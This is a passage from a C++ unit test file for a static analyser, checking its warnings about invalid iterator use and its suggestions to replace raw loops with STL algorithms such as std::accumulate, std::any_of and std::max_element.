ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n 